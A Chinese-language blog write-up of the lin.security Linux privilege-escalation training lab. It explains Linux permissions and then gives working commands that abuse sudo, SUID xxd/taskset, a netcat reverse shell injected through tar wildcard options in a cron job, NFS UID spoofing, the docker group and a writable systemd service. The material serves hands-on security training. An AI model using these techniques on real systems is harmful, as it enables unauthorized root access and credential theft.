in.security 提权靶场

发布于 2024-09-28 02:44:48 字数 13566 浏览 4 评论 0

lin.security 靶场 是 Linux 配置问题导致提权的靶场,它基于 Ubuntu(18.04 LTS)的 Linux 虚拟机,靶场提供许多权限提升的漏洞供我们练习关于 linux 权限的相关知识,下面是这个靶场的下载链接: https://in.security/downloads/lin.security_v1.0.ova

靶场低权限用户: bob:secret

查看当前用户的权限whoamiid

查看系统的发行版本和内核版本lsb_release -auname -a

1 linux 下的权限划分

1.1 用户和组

用户组在 linux 系统上起着重要作用,它们为选定的用户提供了一种彼此共享文件的简便方法。它们还使系统管理员可以更有效地管理用户权限,因为他们可以将权限分配给组而不是单个用户。

Linux 用户分为管理员和普通用户,普通用户又分为系统用户和自定义用户。

  1. 系统管理员:即 root 帐户,UID 号为 0,拥有所有系统权限,它类似于 Windows 系统中的 administrator 帐户,是整个系统的所有者。
  2. 系统用户:Linux 为满足自身系统管理所内建的账号,通常在安装过程中自动创建,不能用于登录操作系统。UID 在 1-499 之间(Centos 7 为 1-999 之间)。像上面的 sshd、 pulse 等等用户即是此类用户。它类似于 Windows 中的 system 帐户,当然权限远没有 system 帐户高。
  3. 自定义用户:由 root 管理员创建供用户登录系统进行操作使用的账号,UID 在 500 以上(CentOS7 为 1000 以上)。它类似于 Windows 系统中 users 用户组中的帐户。

在 Linux 中的每个用户必须属于一个组,不能独立于组外在 Linux 中每个文件有所有者、所在组、其它组的概念同样,用户组的信息我们可以在 /etc/group 中查看

1.2 /etc/passwd 文件

在 Linux 的 /etc/passwd 文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。

给 linux 系统添加账户: useradd -g group -d /home/to/user -m username

字段含义:

1.3 /etc/shadow 文件

字段含义:

用户名:加密密码(! ! 表示无密码):最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

加密的密码具有固定格式: $id$salt$encrypted

  • id 表示加密算法,1 代表 MD5,5 代表 SHA-256,6 代表 SHA-512
  • salt 为盐值,系统随机生成
  • encrypted 表示密码的 hash 值

1.4 文件权限

linux 系统中,一切皆文件,包括普通文件、目录、设备、套接字等

rwx 对目录的权限

r:表示具有读取目录结构列表的权限,表示可以查询该目录下的文件名数据。 即可以 ls

w:表示可以对该文件夹下的文件或目录进行添加、删除、重命名、复制、剪切等操作

x:表示可以用户能否进入该目录成为工作目录(当没有 x 权限,但是有 w 权限时,也是无法向文件写入文件的)

1.5 特殊权限

  • SUID
    • 该文件在执行的时候,会切换到所有者的权限执行
  • SGID
    • 该文件在执行的时候,会切换到所有组的权限执行
  • SBIT
    • 只有自己和管理员可以操作当前文件

2 sudo 权限配置不当提权

sudo 其实是很常用的命令了,sudo 权限则是 root 把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于 linux 来说一切皆是文件,所以系统命令也是一个文件。

一般来讲当管理员需要某个用户在执行 root 权限的命令时,会去配置 sudo。具体是修改 /etc/sudoers 这个文件。但是普通用户其实是查看和操作这个文件的,他只能查看自己是否被配置了 sudo 权限。普通用户可以采用 sudo -l 这个命令来查看自己是否有 sudo 配置。

bob 这个用户可以执行很多的命令,利用这些命令可以简单直接提升到 root 权限。

2.1 /bin/ash

2.2 /usr/bin/awk

查看密码文件 /etc/shadow

2.3 /usr/bin/curl

2.4 /usr/bin/find

获取 shell find . -exec /bin/sh \; -quit

可以发现,哪怕是 find 这种查找命令被赋予了 sudo,也能提权为 root 权限,只要我们能够巧妙的利用执行这些命令。限于篇幅,就不给出所有命令的利用方式了,我们可以参考资源 https://gtfobins.github.io/ ,里面涵盖了许多可以被利用的命令。

3 /etc/passwd 的哈希

linux 的用户密码哈希存储在 /etc/shadow 这个文件,而这个文件普通用户是无法查看的。而普通用户能够查看到的则是 /etc/passwd 这个文件。如果我们查看 /etc/passwd 通常会看到以下内容:

root:x:0:0:root:/root:/bin/bash

如果有一个账户的第二列是密码哈希,如果该列为 x 则代表密码哈希存储在 /etc/shadow 文件上。而在 lin.security 虚拟机上可以看到像 insecurity 这么一个账户,这个账号的 uidgid 都为 0。用类似 Johnny 或者 hash-identifier 会被表示成 descrypt ,进而可以被破解出来。

通过查询,可得密码为 P@ssw0rd11。

4 利用定时任务 cron 以及通配符

每隔 1 分钟定期执行 /etc/cron.daily/backup 这个文件。

这里涉及到了利用通配符进行 Linux 本地提权,我们需要另开一个 bob 的 ssh 会话。

使用 msfvenom 生成 nc 反弹一句话,命令如下:

-p :payload

R :RAW 原始数据

root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq

然后分别执行:

bob@linsecurity:~$ echo "mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq" > shell.sh && chmod +x shell.sh
bob@linsecurity:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
bob@linsecurity:~$ echo "" > --checkpoint=1

我们在另外一个会话终端开启 nc 监听:

nc -lvnp 8888

–checkpoint[=NUMBER] 显示每个 Numbers 记录的进度消息(默认值为 10) –checkpoint-action=ACTION 在每个 checkpoint(检查点)上执行 ACTION

这里的 –checkpoint-action 选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项 –checkpoint=1 和 –checkpoint-action=exec=sh shell.sh 作为命令行选项交给了 tar 程序。

5 利用隐藏文件

有时候隐藏文件会存放一些重要的信息,比如我们搜索 home 目录下的所有隐藏文件,并用 ls -al 显示出来。

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

发现了 susan 这个用户有一个 .secret 的隐藏文件,发现里面存放 susan 这个用户的登陆密码。

6 利用 SUID

6.1 方案一

SUID 这个是 uid +s 的组合,s 指的是特殊权限。一般情况下,用户的权限是 3 位,比如 0755 这样的,默认特殊权限没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有 root 的权限,就会配置特殊权限。

比如说 passwd 这个命令,这个命令会修改 /etc/shadow 文件,而 /etc/shadow 只有 root 才能修改,本来 passwd 这个命令应该也只能 root 才能执行的。但是系统为了让普通用户能够修改自己的密码,对 passwd 这个命令赋予了特殊权限并添加了只能修改自己密码的限制。

由于 passwd 这个命令是做过限制的,所以赋予特殊权限是没有问题的,但是如果系统超级用户特殊权限乱用,就会导致提权的问题。 那我们怎么去寻找系统是否存在特殊权限配置的文件呢?可以使用如下命令快速查找所有 SUID 文件:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

我们发现了如下一个文件 xxd。这个文件其实是命令文件,xxd 的作用是将一个文件以 16 进制的形式显示出来。他被配置了特殊权限,并且用户组为 itservices 是拥有执行权限 x 的。

这就很危险了,一旦 suid 和执行权限在一起就可能导致权限提升。

我们通过命令查看发现 susan 这个用户属于 itservices 这个用户组。

我们用它来查看 /etc/shadow 这个文件,更多利用方法可以参考 https://gtfobins.github.io/gtfobins/xxd/ .

xxd "/etc/shadow" | xxd -r

find /dir -exec "command" 同样的提权效果。

6.2 方案二

除了上述的文件外,还发现了一个 other 角色拥有执行权限的文件,这个文件不限用户,所以危害更大。

参考 https://gtfobins.github.io/gtfobins/taskset/#suid-enabled ,发现该文件可以直接获取 shell。

7 NFS 提权

nmap 扫描端口,查看开放服务: nmap -sS -Pn -p- -A IP

看到开放 2049 端口,NFS 服务。也可以通过 rpcinfo -p IP 命令来确定主机上是否运行或挂载了 NFS 服务。

showmount 命令与以下参数一起使用时,可以进行信息收集,例如:

  • 挂载点
  • 连接的主机
  • 目录
showmount IP // 连接的主机
showmount -d IP // 目录
showmount -a IP // 挂载点

在 msf 中也有一个模块,可以用来列出导出文件夹: auxiliary/scanner/nfs/nfsmount

账号 peter 的家目录可以被挂载:

mkdir /mnt/peter
mount 192.168.68.99:/home/peter /mnt/peter/

挂载好的 peter 的家目录,显示的文件的所有者和所属组分别为 1001 和 1005

尝试在该目录下创建文件,发现权限不够。

即使我们在 kali 攻击机上是 root 用户,但是我们还是没有写入权限,因为默认情况下客户端的 root 身份会被主动压缩成匿名者。

可以伪造文件所有者的 UID 和 GID 来欺骗 NFS 服务器,创建一个 gid 为 1005 的用户组,接着创建 peter 这个账户 uid 指定为 1001,gid 指定为 1005。

切换客户端用户为 peter,服务端也认为是存在的用户 peter

可以直接向 .ssh 文件夹下写入公钥,然后直接使用 ssh 登录。

8 利用 docker 组提权

可以发现 peter 属于 docker 组:

可以根据 https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

9 systems 配置不当提权

历史上,Linux 的启动一直采用 init 进程:

sudo /etc/init.d/sshd start
# 或者
service sshd start

这种方法有两个缺点:

一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。

二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。

# 重启系统
sudo systemctl reboot

查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service 文件,并且它对这个文件 拥有读和写 的权限。

如果服务器存在缺陷,可以 被覆盖或者修改文件 ,可以通过修改低权限用户有权访问的 .service 文件并更改 run() 命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看 .service 文件,这里我们可以修改 ExecStart 文件,除此之外还可以修改 ExecStopExecReload 来在停止和重启服务时执行命令。 查看该 .service 文件:

ExecStart/root/debug ,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh 脚本,将 /bin/bash 文件复制到 systemdbash 并设置一个 SUID 位并且赋予执行权限。

echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

盗梦空间

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

忆伤

文章 0 评论 0

眼泪也成诗

文章 0 评论 0

zangqw

文章 0 评论 0

旧伤慢歌

文章 0 评论 0

qq_GlP2oV

文章 0 评论 0

旧时模样

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文